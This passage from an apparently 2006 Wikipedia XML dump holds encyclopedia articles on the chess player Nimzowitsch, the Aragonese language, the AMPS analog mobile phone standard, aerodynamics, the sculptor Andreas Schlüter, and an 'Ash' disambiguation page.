He wrote three books on chess strategy: ''[[Mein System]] (My System)'' ([[1925]]), ''Die Praxis meines System (The Practice of my System)'' (commonly known as ''Chess Praxis''), and ''Die Blockade'' (The Blockade). The last of these is hard to find in English, however, and much that is in it is covered again in ''Mein System''. It is said that 99 out of 100 chess masters have read ''Mein System''; consequently, most consider ''My System'' to be Nimzowitsch's greatest contribution to chess. It sets out Nimzowitsch's most important ideas while his second most influential work, ''Chess Praxis'', elaborates upon these ideas, adds a few new ones, and has immense value as a stimulating collection of Nimzowitsch's own games even when these games are more entertaining than instructive.

At the height of his career, Nimzowitsch was the third best player in the world, immediately behind Alekhine and Capablanca. Although a contemporary of these two, he never played either of them in a serious match. His most notable successes were first place finishes at [[Copenhagen]] [[1928]], the [[Carlsbad]] tournaments of [[1929]], [[1933]], and [[1934]] and second place behind Alekhine at [[San Remo]] in [[1930]]. Nimzowitsch never developed a knack for match play though; his best match success was a draw with Alekhine (though this match was only three games long and was in [[1914]], 13 years before Alekhine became world champion). 

Many chess openings and variations are named after him, the most famous being the [[Nimzo-Indian Defence]] (1.d4 Nf6 2.c4 e6 3.Nc3 Bb4) and the less often played [[Nimzowitsch Defence]] (1.e4 Nc6). Both of these exemplify Nimzowitsch's ideas about controlling the center with pieces. He was also vital in the development of two [[French Defense]] systems, the Winawer Variation (in some places called the Nimzowitsch Variation; its moves are 1. e4 e6 2. d4 d5 3. Nc3 Bb4) and the Advance Variation (1. e4 e6 2. d4 d5 3. e5).

Nimzowitsch influenced numerous other players, including [[Richard Réti]] and [[Tigran Petrosian]], and his influence is still felt today.

There are numerous entertaining anecdotes regarding Nimzowitch—some more savory than others. For example, he once missed the first prize by losing to [[Sämisch]]; immediately upon learning this, Nimzowitsch got up on a table and shouted, “Why must I lose to this idiot?”  

Although Nimzowitsch did not win a single game against Capablanca, he fared better against Alekhine.
He even beat Alekhine with black pieces in [[St. Petersburg]] in [[1914]] (moves given in [[Algebraic chess notation]]):[http://www.chessgames.com/perl/chessgame?gid=1011921]

1. e4 e6 2. d4 d5 3. Nc3 Nf6 4. exd5 Nxd5 5. Nf3 b6 6. Bb5+ c6 7. Bd3 Be7 8. O-O Nd7 9. Nxd5 cxd5 10. Qe2 O-O 11. Bf4 Bb7 12. c3 Bf6 13. Rfe1 Qe7 14. Ba6 Bxa6 15. Qxa6 Nb8 16. Qb5 Qb7 17. Re3 Nc6 18. Qd3 g6 19. Bh6 Bg7 20. Bxg7 Kxg7 21. Rae1 Qc7 22. h4 Rac8 23. h5 Qf4 24. Ne5 Nxe5 25. Rxe5 Rc7 26. g3 Qf6 27. Qe3 Rd8 28. Kg2 Rcc8 29. Rh1 Kf8 30. Rh4 Ke8 31. Qh6 Ke7 32. Rf4 Qh8 33. Re1 Rd7 34. Rh1 Qg8 35. Qg5+ Kd6 36. Qe5+ Kc6 37. a4 Kb7 38. Ra1 Qh8 39. Rf6 Qd8 40. Rf3 Qh8 41. Qe2 a6 42. Qe3
Qg7 43. h6 Qf8 44. Qe5 Qh8 45. Rf6 Qf8 46. Rf3 Qh8 47. Rf6 Qf8 48. Rh1 Qd8 49. Rf3 Qh8 50. Rf6 Qd8 51. Rf3 Qh8 52. Rf6 Qd8 53. Rf4 Rc4 54. Ra1 Rc6 55. Rf6 Qf8 56. Qe3 Re7 57. Qf3 Qe8 58. g4 Qd7 59. Re1 Rc7 60. b3 Ka7 61. g5 Qd6 62. Qd3 Qa3 63. Qc2 Qb4 64. Rc1 Qa3 65. Re1 Qb4 66. Rc1 Qa3 67. Re1 Qb4 68. Rc1 Qd6 69. Qd3 Qa3 70. Rb1 Qa2 71. Rf3 e5 72. Re3 e4 73. Qd1 f6 74. gxf6 Rf7 75. Ra1 Qb2 76. Rb1 Qa3 77. c4 Rxf6 78. cxd5 Rcf7 79. Re2 Qd6 80. Qc2 Qxd5 81. Kf1 e3 82. Rxe3 Qh1+ 83. Ke2 Rxf2+ 84. Kd3 Qd5 85. Qc8 Rd7 0-1

== Further reading ==
* ''Twelve Great Chess Players and Their Best Games'' by Irving Chernev; Dover; August 1995. ISBN 0486286746
*''Aron Nimzowitsch: Master of Planning'' by Raymond Keene; G. Bell and Sons. Ltd, 1974.

== External links ==
*[http://www.muljadi.org/Nimzowitsch.htm Nimzowitsch's games at muljadi.org]
*[http://www.xs4all.nl/~wimnij/bio.html Nimzowitch related articles]
*[http://www.chessgames.com/perl/chessplayer?pid=10249 Nimzowitsch page at Chessgames.com]
*[http://www.wtharvey.com/nimz.html 20 Crucial Positions from His Games]
*[[Hans Kmoch|Kmoch, Hans]] (2004). [http://www.chesscafe.com/text/kmoch02.pdf Grandmasters I Have Known: Aaron Nimzovich] ([[Portable Document Format|PDF]]). Chesscafe.com.

[[Category:1886 births|Nimzowitsch, Aron]]
[[Category:1935 deaths|Nimzowitsch, Aron]]
[[Category:Chess grandmasters|Nimzowitsch, Aron]]
[[Category:Jewish chess players|Nimzowitsch, Aron]]
[[Category:Latvian chess players|Nimzowitsch, Aron]]

[[da:Aaron Nimzowitsch]]
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[[el:Άρον Νίμζοβιτς]]
[[es:Aaron Nimzowitsch]]
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[[it:Aaron Nimzowitsch]]
[[hu:Aaron Nimzovics]]
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[[fi:Aron Nimzowitsch]]
[[sv:Aaron Nimzowitsch]]</text>
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  </page>
  <page>
    <title>Aragonese language</title>
    <id>2813</id>
    <revision>
      <id>41710298</id>
      <timestamp>2006-03-01T05:33:57Z</timestamp>
      <contributor>
        <username>Andrew.kegg</username>
        <id>1009878</id>
      </contributor>
      <text xml:space="preserve">{{Infobox Language
|name=Aragonese
|nativename=aragonés
|region=[[Aragon]] (an [[autonomous community]] of [[Spain]])
|speakers=10,000 (30,000 total)
|familycolor=Indo-European
|fam2=[[Italic languages|Italic]]
|fam3=[[Romance languages|Romance]]
|fam4=[[Italo-Western languages|Italo-Western]]
|fam5=Western
|fam6=Pyrenean-Mozarabic
|fam7=Pyrenean
|iso1=an|iso2=arg|iso3=arg
|map=[[Image:Aragon languages-en.png|thumb|280px|center|Languages distribution in Aragon (Aragonese in red). Spanish is spoken in the whole area, but in the green part it is endemic]]}}
:''This article is about the Aragonese language.  For the cartoonist and writer, see [[Sergio Aragonés]]''

'''Aragonese''' (''aragonés'') is a [[Romance languages|Romance language]] now spoken by some 10,000 people over the valleys of the [[Aragón River]], [[Sobrarbe]] and [[Ribagorza]] in the [[province]] of [[Huesca (province)|Huesca]], [[Aragon]], [[Spain]].  It is also colloquially known as ''fabla''.

Aragonese originated around the [[8th century]] as one of many [[Latin]] dialects developed in the Pyrenees on top of a strong [[Basque language|Basque]]-like substratum. The original [[kingdom of Aragon]] (formed by the counties of Aragon, Sobrarbe and Ribagorza) was progressively expanded from the mountain ranges towards the South, pushing the [[Moors]] further South in the ''[[Reconquista]]'' and spreading the Aragonese language.

The dynastic union of the [[Catalonia|Catalan Counties]] and the [[Kingdom of Aragon]]&amp;mdash;which formed the [[Aragonese Crown]] in the 12th century&amp;mdash;did not result in a merging of the language forms of the two territories into a single form; [[Catalan language|Catalan]] continued to be spoken in the east, and Aragonese in the west. Moreover, Catalan was the language that expanded into the new territories conquered to the [[Moors]]: the [[Balearic Islands]] and the new kingdom of [[Valencia]]. The ''Aragonese'' reconquista to the south ended in the kingdom of [[Murcia]], that was ceded by [[James I of Aragon]] to the Kingdom of [[Castile]] as a dowry for an Aragonese princess.

The spread of Castilian, now known as [[Spanish language|Spanish]] too, together with the 
protective effect from it that Aragonese played for the Catalan language, the Castilian origin amb the Trastamara dynasty and a deep likeness between Castilian and Aragonese, meant that further recession was to follow. One of the key moments in the history of Aragonese was when a king of Castilian origin was appointed in the [[15th century]]: [[Ferdinand I of Aragon]], (a.k.a. Ferdinand of Antequera).

The annexation of Aragon by Castile and the progressive suspension of all capacity of self-rule from the 16th century meant that Aragonese, while still widely spoken, was limited to a rural and colloquial use, as the nobility chose Spanish as their symbol of power. The suppression of Aragonese reached its most dramatic point during the rule of [[Francisco Franco]] in the [[20th century]]. Pupils were beaten in schools for using it, and [[language politics in Francoist Spain]] forbade the teaching of any language that was not Spanish.

The constitutional democracy voted by the people in [[1978]] meant an increase in the literary works and studies conducted in and about the Aragonese language. However, it may be too late for this language. 

Nowadays, Aragonese is still spoken natively within its core area, the Aragonese mountain ranges of the Pyrenees, in the comarcas of Somontano, Sobrarbe, and Ribagorza.
These are the major cities and towns where Aragonese speakers can still be found: [[Huesca]], [[Graus]], [[Monzón]], [[Barbastro]], Fonz, Echo, Estadilla, [[Benasque]], [[Sabiñánigo]], [[Jaca]], Plan, Ansó, [[Ayerbe]], Broto, El Grado.

Aragonese is also learnt as a second language by other inhabitants of the country in areas like [[Huesca|Uesca]], [[Saragossa|Zaragoza]], [[Ejea de los Caballeros|Exea]], and [[Teruel]]. According to recent polls, altogether they only make up around 30,000 speakers.

Some historical traits of Aragonese language:
*As in Spanish, open O,E from Romance result systematically into diphthongs {{IPA|[we]}}, {{IPA|[je]}}, e.g. VET'LA &gt; ''biella'' (old woman, Spa. ''vieja'', Cat. ''vella'')
*Loss of final unstressed -E, e.g. GRANDE &gt; ''gran'' (big)
*Unlike [[Spanish language|Spanish]] Romance initial F- is preserved, e.g. FILIU &gt; ''fillo'' (son, Spa. ''hijo'', Cat. ''fill'')
*Romance yod (GE-,GI-,I-) results in voiceless palatal affricate ''ch'' {{IPA|[&amp;#679;]}}, e.g. IUVEN &gt; ''choben'' (young man), GELARE &gt; ''chelar'' (to freeze, Spa. ''helar'', Cat. ''gelar'')
*Like in [[Occitan language|Occitan]] Romance groups -ULT-, -CT- result in {{IPA|[jt]}}, e.g. FACTU &gt; ''feito'' (done, Spa. ''hecho'', Cat. ''fet'')
*Romance groups -X-, -PS-, SCj- result into voiceless palatal fricative ''ix'' {{IPA|[&amp;#643;]}}, e.g. COXU &gt; coixo (crippled, Spa. ''cojo'', Cat. ''coix'')
*Unlike [[Spanish language|Spanish]], Romance groups -Lj-, -C'L-, -T'L- result into palatal lateral ''ll'' {{IPA|[&amp;#654;]}}, e.g. MULIERE &gt; ''muller'' (woman, Spa. ''mujer'', Cat. ''muller'')), ACUT'LA &gt; ''agulla'' (needdle, Spa. ''aguja'', Cat. ''agulla'')
*Unlike [[Spanish language|Spanish]], Latin -B- is maintained in past imperfect endings of verbs of the 2nd and 3rd conjugations: ''teniba'' (he had, Spa. ''tenía'', Cat. ''tenia''))

[[Ribagorçan]] dialect might be considered a transitional Romance variant which shares features with both Catalan and Aragonese.  

==External links==
{{Interwiki|code=an}}
*[http://es.geocities.com/cursetaragones/engcur.htm Aragonese Course]
*[http://www.ethnologue.com/show_language.asp?code=arg Ethnologue report for Aragonese]
* [http://www.consello.org/  Consello d'a Fabla Aragonesa]
*[http://www.rosettaproject.org:8080/live/search/detailedlanguagerecord?ethnocode=AXX See language review page on the Rosetta Project website]
* [http://www.language-museum.com/a/aragonese.php Aragonese Language Sample]

[[Category:Romance languages]]
[[Category:Languages of Spain]]

[[an:Aragonés]]
[[ast:Aragonés]]
[[ca:Aragonès]]
[[cs:Aragonština]]
[[de:Aragonesische Sprache]]
[[es:Idioma aragonés]]
[[eu:Aragoiera]]
[[eo:Aragona lingvo]]
[[fr:Aragonais]]
[[it:Lingua aragonese]]
[[kw:Aragonek]]
[[la:Lingua Aragonica]]
[[li:Aragonees]]
[[pl:Język aragoński]]
[[pt:Aragonês]]
[[sv:Aragonska]]</text>
    </revision>
  </page>
  <page>
    <title>Advanced Mobile Phone System</title>
    <id>2815</id>
    <revision>
      <id>41742057</id>
      <timestamp>2006-03-01T12:18:32Z</timestamp>
      <contributor>
        <ip>210.200.105.232</ip>
      </contributor>
      <comment>/* The Future of AMPS */  - added 'in North America' to coverage description</comment>
      <text xml:space="preserve">{{dablink|'''&quot;AMPS&quot;''' redirects here. AMPS is also an [[initialism]] for the &quot;All Media and Products Survey&quot; published by the [[South African Advertising Research Foundation]].}}
{{Table Mobile phone standards}}
'''Advanced Mobile Phone System''' or '''AMPS''' is the [[analog signal|analog]] [[mobile phone]] system standard developed by [[Bell Labs]], and officially introduced in the [[Americas]] in 1984.  Though analog is no longer considered advanced at all, the relatively seamless [[cellular]] [[switching]] [[technology]] AMPS introduced was what made the original mobile [[radiotelephone]] practical, and was considered quite advanced at the time.

==Technology==
It was a first-generation technology, using [[FDMA]] which meant each cell site would transmit on different frequencies, allowing many cell sites to be built near each other. However it had the disadvantage that each site did not have much capacity for carrying calls. It also had a poor [[security]] system which allowed people to steal a phone's serial code to use for making illegal calls. It was later replaced by the newer Digital [[TDMA]] systems, such as [[Digital AMPS]] and [[GSM]], which brought improved security as well as increased capacity.

AMPS was originally standardized by ANSI as EIA/TIA/IS-3.  This was later superseded by EIA/TIA-553 and TIA interim standard IS-91.

==Frequency bands==
AMPS cellular service operates in the 800 [[MHZ]] [[FM]] band.  For each market area, the FCC allowed two licensee (networks) known as &quot;A&quot; and &quot;B&quot; carriers.  Each carrier within a market uses a specified &quot;block&quot; of frequencies consisting of 21 control channels and 395 voice channels. Originally, the B (wireline) side license was usually owned by the local phone company such as a &quot;Baby Bell&quot; (Ameritech), and the A (non-wireline) license was made available to private companies such as Cellular One.  At the inception of cellular in 1984, the [[Federal Communications Commission]] had granted each carrier within a market 333 channels (666 channels total).  By the late 1980's, the cellular industry's subscriber base had grown into the millions across America and it became necessary to add channels for additional capacity.  In 1989, the [[Federal Communications Commission]] granted carriers an expansion from the current 666 channels to the now 832 (416 per carrier).  The additional frequency was available in the upper 800 MHz band which also was home to UHF channels 70-83.  This meant that these UHF channels could no longer be used for UHF TV transmission as these frequencies were to be used for AMPS transmission.  

The anatomy of each channel is composed of 2 [[frequency|frequencies]]. 416 of these are in the 824~849 MHz range for transmissions from mobile stations to the base stations, paired with 416 frequencies in the 869~894 MHz range for transmissions from base stations to the mobile stations.  Each cell site will use a subset of these channels, and must use a different set than neighboring cells to avoid interference.  This significantly reduces the number of channels available at each site in real-world systems.  Each AMPS frequency is 30kHz wide.

==Introduction of digital TDMA==
Later, many AMPS networks were partially converted to what became (incorrectly) known as '''TDMA''', a [[digital]],  [[2G]] standard used mainly by [[Cingular Wireless]] and [[U.S. Cellular]].  The misuse of the term '''TDMA''' (which is a type of channel sharing scheme) to refer to a particular access protocol has caused some confusion. The first version of the TDMA standard was known as [[IS-54]].

==Introduction of GSM and CDMA==
AMPS and TDMA are now being phased out in favor of either [[CDMA]] or [[GSM]] which allow for higher capacity data transfers for services such as [[WAP]], [[Multimedia Messaging System]] (MMS), and wireless Internet Access. The major difference between the two options is that CDMA has a much higher capacity then GSM, as well as some other features (i.e. being able to talk to six different cell sites simultaneously, and a higher bitrate [[Vocoder]]). There are some phones capable of supporting AMPS, TDMA and GSM all in one phone (using the [[GAIT (wireless)|GAIT]] standard; see the [[Nokia 6340]], for example); however, AMPS/CDMA phones supports nearly seamless roaming between CDMA and AMPS (with the loss of some features when in AMPS mode, such as text messaging) while GAIT phones cannot.

==The Future of AMPS==
AMPS is the most extensive and reliable wireless coverage available for nationwide service in North America. Even today, analog continues to provide the widest range of coverage across the U.S. and Canada.  However, in 2002, the [[FCC]] made the drastic desicion to no longer require A and B carriers to support AMPS cellular service as of March 1, 2008.  Since the AMPS standard is analog technology, it suffers from an inherently inefficient use of the frequency spectrum.  All AMPS carriers have converted most of their consumer base to a digital standard such as CDMA or GSM and continue to do so at a rapid pace.  Digital technologies such as CDMA support multiple voice calls on the same channel, superior call qualiy, enhanced features such as two-way text messaging, voicemail indicator, internet, and GPS services; whereas, AMPS can only support one call per channel and a basic one-way short message service.  

[[OnStar]] still heavily relies on North American AMPS service for its subscribers because it provides the best  and most reliable coverage and their entire system was built around analog cellular technology.  Thankfully, cellular companies who own an A or B license (such as Verizon and Alltel) must still provide reliable analog service until March 1, 2008.  However after that point, most cellular companies will be eager to shut down AMPS and use the remaining channels for even more capacity and enhanced data services.  [[OnStar]] is currently in a digital transition but warns customers who cannot be upgraded to digital that their service will permanetly expire on February 1, 2008.

==Analog system in Europe==
'''Total Access Communication System''' or '''TACS''' is the [[Europe]]an version of AMPS. '''ETACS''' was an extended version of TACS with more channels.  TACS and ETACS are now obsolete in Europe, having been replaced by the more scalable and all-digital [[GSM]] system. Nordic Mobile Telephone system (NMT) is another analogue cellular standard that was widely used in Europe mainly in the nordic countries (Norway Denmark Sweden). The NMT system was set in use in the early 1980's and is now completely replaced by GSM and WCDMA. The NMT system operates in the 450 and 900 Mhz band.

==Companies using AMPS==
*[[Telecom New Zealand]] - Telecom customers are in the process of migrating over to the new [[CDMA]] service. The old AMPS/[[D-AMPS]] system is due to be phased out in 2007. Since the establishment of the AMPS service in 1987 the network had always had the largest coverage of any network in [[New Zealand]]. In recent times, however, Digital [[GSM]] and CDMA coverage has matured enough to match or exceed AMPS coverage in many areas. Unfortunately some areas may lose mobile phone service when the AMPS network goes offline.
*[[Verizon Wireless]] - Although most Verizon customers use digital services, the backup AMPS network is still in service.  Verizon has been noted they are eager to quickly shut down the analog system when the FCC mandate allows.
*[[Bell Mobility]], [[Telus Mobility]] and [[Rogers Wireless]] all operate AMPS networks in Canada, though they have since been overlaid with digital services.
*[[Alltel]] - In 2005 they disclosed that only 15% of their total customer base are still using the existing analog network. The company has not made any official announcements as to when analog service will be discontinued.  One plan involves only keeping analog service active in rural or outlying areas until digital service is fully developed.  With the recent acquisition of Western Wireless, Alltel now takes the claim of the &quot;largest network in America.&quot;  This being true, oddly enough because of wide analog coverage in rural areas.

[[Category: mobile telephony standards]]

[[de:AMPS]]
[[ja:TACS]]
[[pl:AMPS]]
[[pt:AMPS]]
[[ru:AMPS]]
[[sv:Advanced Mobile Phone Service]]</text>
    </revision>
  </page>
  <page>
    <title>AMPS</title>
    <id>2816</id>
    <revision>
      <id>15901203</id>
      <timestamp>2003-07-28T15:12:24Z</timestamp>
      <contributor>
        <username>Radiojon</username>
        <id>15970</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Advanced Mobile Phone System]]</text>
    </revision>
  </page>
  <page>
    <title>Aerodynamics</title>
    <id>2819</id>
    <revision>
      <id>42064785</id>
      <timestamp>2006-03-03T15:48:24Z</timestamp>
      <contributor>
        <username>Encyclopediarocketman</username>
        <id>1017994</id>
      </contributor>
      <comment>/* Aerodynamic forces on aircraft */</comment>
      <text xml:space="preserve">'''Aerodynamics''' is a branch of [[fluid dynamics]] concerned with the study of gas flows.  The solution of an aerodynamic problem normally involves calculating for various properties of the flow, such as [[velocity]], [[pressure]], [[density]], and [[temperature]], as a function of space and time.  Understanding the flow pattern makes it possible to calculate or approximate the [[force|forces]] and [[moment (physics)|moments]] acting on bodies in the flow.  This mathematical analysis and empirical approximation form the scientific basis for [[heavier than air flight|heavier-than-air flight]].

Aerodynamic problems can be classified in a number of ways.  The flow environment defines the first classification criterion.  ''External'' aerodynamics is the study of flow around solid objects of various shapes.  Evaluating the [[lift (force)|lift]] and [[drag (physics)|drag]] on an [[airplane]], the [[shock wave]]s that form in front of the nose of a [[rocket]] or the flow of air over a hard drive head are examples of external aerodynamics.  ''Internal'' aerodynamics is the study of flow through passages in solid objects.  For instance, internal aerodynamics encompasses the study of the airflow through a [[jet engine]] or through an [[air conditioning]] pipe.

The ratio of the problem's characteristic flow speed to the [[speed of sound]] comprises a second classification of aerodynamic problems.  A problem is called [[subsonic]] if all the speeds in the problem are less than the speed of sound, [[transonic]] if speeds both below and above the speed of sound are present (normally when the characteristic speed is approximately the speed of sound), [[supersonic]] when the characteristic flow speed is greater than the speed of sound, and [[hypersonic]] when the flow speed is much greater than the speed of sound.  Aerodynamicists disagree over the precise definition of hypersonic flow; minimum [[Mach number]]s for hypersonic flow range from 3 to 12.  Most aerodynamicists use numbers between 5 and 8.

The influence of [[viscosity]] in the flow dictates a third classification.  Some problems involve only negligible viscous effects on the solution, in which case viscosity can be considered to be nonexistent.  The approximations to these problems are called [[inviscid flow]]s.  Flows for which viscosity cannot be neglected are called [[viscous flow]]s.

==Aerodynamic forces on aircraft==
[[Image:aeroforces.jpg|thumb|350px|Forces on an aircraft ([[airfoil]] pictured)]]
One of the major goals of aerodynamics is to predict the aerodynamic forces on aircraft.

The four basic forces that act on a powered aircraft are [[lift (force)|lift]], [[weight]] (or [[gravity]]), [[thrust]], and [[drag (physics)|drag]].  

Weight is the force due to gravity and thrust is the force generated by the engine.  Lift and drag are forces due to the motion of the vehicle through the air.  Lift is defined as the aerodynamic force acting perpendicular to the relative airflow and drag is defined as the aerodynamic force acting parallel to the relative airflow. Lift is positive upwards and drag is positive rearwards.

==Aerodynamics in other fields==

Aerodynamics is important in a number of applications other than aerospace engineering.  It is a significant factor in any type of vehicle design, including [[automobile]]s.  It is important in the prediction of forces and moments in [[sailing]].  It is used in the design of small components such as [[hard drive]] heads.  [[Civil engineering|Civil engineers]] also use aerodynamics, and particularly [[aeroelasticity]], to calculate [[wind]] loads in the design of large buildings and bridges. Urban aerodynamics seeks to help town planners and designers improve comfort in outdoor spaces, create urban microclimates and reduce the effects of urban pollution. The field of environmental aerodynamics studies the ways atmospheric circulation and flight mechanics affects ecosystems. The aerodynamics of internal passages is important in heating/ventalation, gas piping, and in automotive engines where detailed flow patterns strongly affect the performance of the engine.

==Continuity assumption==

Gases are composed of [[molecule]]s which collide with one another and solid objects.  In aerodynamics, however, gases are considered to have continuous quantities.  That is, properties such as density, pressure, temperature, and velocity are taken to be well-defined at infinitely small points, and are assumed to vary continuously from one point to another.  The discrete, molecular nature of a gas is ignored.

The continuity assumption becomes less valid as a gas becomes more rarefied.  In these cases, [[statistical mechanics]] is a more valid method of solving the problem than aerodynamics.

==Conservation laws==

Aerodynamic problems are solved using the conservation laws, or equations derived from the conservation laws.  In aerodynamics, three conservation laws are used:
*Conservation of mass: Matter is not created or destroyed.  If a certain mass of fluid enters a volume, it must either exit the volume or increase the mass inside the volume.
*Conservation of momentum: Also called [[Newton's second law of motion]]
*Conservation of energy: Although it can be converted from one form to another, the total [[energy]] in a given system remains constant.

All aerodynamic problems are therefore solved by the same set of equations.  However, they differ by the assumptions made in each problem.  The equations become simpler as assumptions are made.

Note that in [[Albert Einstein|Einstein]]'s [[special relativity|relativistic mechanics]] the conserved energy includes the rest mass energy through the equation E=Mc&lt;sup&gt;2&lt;/sup&gt;.

==Boundary layer==
The concept of [[boundary layer]] is important in most aerodynamic problems.  The viscosity and fluid friction in the air is usually important only in this thin layer.  This principle makes aerodynamics much more tractable mathematically and also intuitively.

==Subsonic aerodynamics==

In a [[subsonic]] aerodynamic problem, all of the flow speeds are less than the speed of sound.  This class of problems encompasses nearly all internal aerodynamic problems, as well as external aerodynamics for most aircraft, model aircraft, and automobiles.

In solving a subsonic problem, one decision to be made by the aerodynamicist is whether or not to incorporate the effects of compressibility.  Compressibility is a description of the amount of change of density in the problem.  When the effects of compressibility on the solution are small, the aerodynamicist may choose to assume that density is constant.  The problem is then an incompressible problem.  When the density is allowed to vary, the problem is called a compressible problem.  In air, compressibility effects can be ignored when the [[Mach number]] in the flow does not exceed 0.3.  Above 0.3, the problem should be solved using compressible aerodynamics.

==Transonic aerodynamics==

Transonic aerodynamic problems are defined as problems in which both supersonic and subsonic flow exist.  Normally the term is reserved for problems in which the characteristic [[Mach number]] is very close to one.

Transonic flows are characterized by [[shock wave]]s and [[expansion wave]]s.  A shock wave or expansion wave is a region of very large changes in the flow properties.  In fact, the properties change so quickly they are nearly discontinuous across the waves.  

Transonic problems are arguably the most difficult to solve. Flows behave very differently at subsonic and supersonic speeds, therefore a problem involving both types is more complex than one in which the flow is either purely subsonic or purely supersonic.


==Supersonic aerodynamics==

[[Supersonic]] aerodynamic problems are those involving flow speeds greater than the speed of sound.  Calculating the lift on the [[Concorde (aeroplane)|Concorde]] during cruise can be an example of a supersonic aerodynamic problem.

Supersonic flow behaves very differently from subsonic flow.  The speed of sound can be considered the fastest speed that &quot;information&quot; can travel in the flow.  Gas travelling at subsonic speed diverts around a body before striking it, so it can be said to &quot;know&quot; that the body is there.  Air cannot divert around a body when it is travelling at supersonic speeds. 

==See also==
*[[List of aerospace engineering topics]]
*[[List of engineering topics]]
 
*[[Automotive aerodynamics]]
*[[Aeronautics]]
*[[Fluid dynamics]]
*[[Nose cone design]]
*[[Bernoulli's equation]]
*[[Navier-Stokes equations]]
*[[Center of pressure]]

[[Category:Fluid dynamics]]
[[Category:Aerospace engineering]]
[[Category:Aerodynamics| ]]

[[cs:Aerodynamika]]
[[da:Aerodynamik]]
[[de:Aerodynamik]]
[[es:Aerodinámica]]
[[eo:Aerodinamiko]]
[[fr:Aérodynamisme]]
[[it:Aerodinamica]]
[[he:אווירודינמיקה]]
[[hu:Aerodinamika]]
[[nl:Aerodynamica]]
[[pl:Aerodynamika]]
[[pt:Aerodinâmica]]
[[sq:Aerodinamika]]
[[sl:Aerodinamika]]
[[fi:Aerodynamiikka]]
[[sv:Aerodynamik]]
[[vi:Khí động lực học]]
[[zh:空气动力学]]</text>
    </revision>
  </page>
  <page>
    <title>Andreas Schlüter</title>
    <id>2820</id>
    <revision>
      <id>36453190</id>
      <timestamp>2006-01-24T03:30:20Z</timestamp>
      <contributor>
        <username>Sparkit</username>
        <id>194762</id>
      </contributor>
      <minor />
      <comment>categories</comment>
      <text xml:space="preserve">'''Andreas Schlüter''' ([[May 20]] [[1660]] in Danzig – May [[1714]] in [[St. Petersburg]]) was a [[baroque]] sculptor and architect associated with the [[Petrine Baroque]] style of architecture and decoration. [[Image:Kikin.jpg|thumb|300px|Kikin Palace in [[St Petersburg]] is often attributed to Schlüter, although there is no proof of his authorship.]]

Schlüter was probably born in Polish city of [[Gdańsk]] (Danzig), where he also spent his early years. In [[1681]], he started working for King [[Jan III Sobieski]], decorating the [[facade]] of the royal chapel in Gdańsk, and creating statues for the [[Wilanów Palace]] and sepulchral sculptures in [[Zolkiew|Żółkiew]]. In [[1689]], he moved to [[Warsaw]], where he worked for [[Jan Dobrogost Krasinski|Jan Dobrogost Krasiński]] and did the [[pediment]] reliefs and sculptural work of [[Krasinski Palace]]. 

In [[1694]], he left Poland to work as court sculptor for Duke [[Friedrich Wilhelm I of Brandenburg|Frederick Wilhelm I]], in [[Berlin]]. He also worked as an architect and built many state buildings. The castle he designed in [[Berlin]] was partially destroyed by bombing in [[World War II]] and its remains were demolished by the subsequent [[Communist]] regime. He designed the famous [[Amber Room]]. His sculpted decoration for [[Arsenal]] in Berlin is a masterpiece of [[baroque]] expression and [[pathos]]. In 1713 his fame brought him to work for Tsar [[Peter I of Russia|Peter the Great]] in [[Saint Petersburg|St. Petersburg]], [[Russia]], where he not long after died of an illness.

==Some extant works==
* statue of Great Elector, [[Friedrich Wilhelm I of Brandenburg|Frederick Wilhelm I]] on horse, [[Charlottenburg]], [[Berlin]], 1689-1703 [http://gallery.euroweb.hu/html/s/schluter/]
* [[Epitaph]] of [[Adam Zygmunt Konarski]], St. Mary's Cathedral of the Assumption, [[Frombork]] (Frauenburg) in Polish [[Royal Prussia]], after 1683
* Sculptures on [[Facade (Architecture)|facade]] of Krasiński Palace, [[Warsaw]], Poland, 1682-3, 1689-93

[[Category:1660 births|Schlüter, Andreas]]
[[Category:1714 deaths|Schlüter, Andreas]]
[[Category:Polish sculptors|Schlüter, Andreas]]
[[Category:Polish architects|Schlüter, Andreas]]
[[Category:German sculptors|Schlüter, Andreas]]
[[Category:German architects|Schlüter, Andreas]]
[[Category:Baroque sculptors|Schlüter, Andreas]]
[[Category:Baroque architects|Schlüter, Andreas]]

[[de:Andreas Schlüter (Architekt)]]
[[pl:Andreas Schlüter]]</text>
    </revision>
  </page>
  <page>
    <title>Axiomatic Set Theory</title>
    <id>2821</id>
    <revision>
      <id>15901207</id>
      <timestamp>2002-11-10T01:20:49Z</timestamp>
      <contributor>
        <ip>192.150.186.102</ip>
      </contributor>
      <minor />
      <comment>point this at what it was meant to point at</comment>
      <text xml:space="preserve">#REDIRECT [[Axiomatic set theory]]</text>
    </revision>
  </page>
  <page>
    <title>Ash</title>
    <id>2822</id>
    <revision>
      <id>41593843</id>
      <timestamp>2006-02-28T10:37:05Z</timestamp>
      <contributor>
        <username>Nightstallion</username>
        <id>149211</id>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar|ash}}
'''Ash''' may mean:
* Ash, the unburnable solid remains of a [[fire]]
* [[Fly ash]], a coal combustion product
* [[Ash (analytical chemistry)]], one of the components in the proximate analysis of biological materials, consisting mainly of carbonates and bicarbonates of metals
* [[Ash (band)]], an Irish rock band
* [[Ash (metal band)]], an American [[black metal]] band
* [[Ash (god)]], a hawk-god of the Sahara Desert in Egyptian mythology
* [[Ash tree]], any tree of the genus ''Fraxinus''
* [[Mountain Ash]], any of various trees not in the ''Fraxinus'' genus
* [[Aishwarya Rai]], actress from India popular by the nickname of Ash
* [[Volcanic ash]], rocky powder material ejected from a volcano
* [[Ash (video game)]], a forthcoming video game for the Nintendo DS, by [[Square Enix]]
* [[Ash (comic)]], created by [[Joe Quesada]] and [[Jimmy Palmiotti]], published by Event Comics
* [[Æ]], a letter from Old English commonly called &quot;ash&quot;
* [[near-open front unrounded vowel]], the sound that æ (lowercase ash) corresponds to in the International Phonetic Alphabet
* A Jewish family name related to [[Eisenstadt]]

As an acronym, '''ASH''' may be:
* [[Almquist shell]], a command-line interface for computers running some variants of the Unix operating system
* [[alt.suicide.holiday]], a Usenet newsgroup
* [[Action on Smoking and Health]], an anti-smoking charitable organisation
* [[American Society of Hematology]] [http://www.hematology.org]
*The [[National Rail]] code for [[Ash railway station]] near [[Guildford]], [[United Kingdom]]. External links: {{Sildb prim|ASH|station information}}; {{Mmukpcloc|GU12|6AZ}}; {{Brldb prim|ASH|live departures and arrivals}}.
* The NATO reporting name of the [[Bisnovat R-4]] air-to-air missile
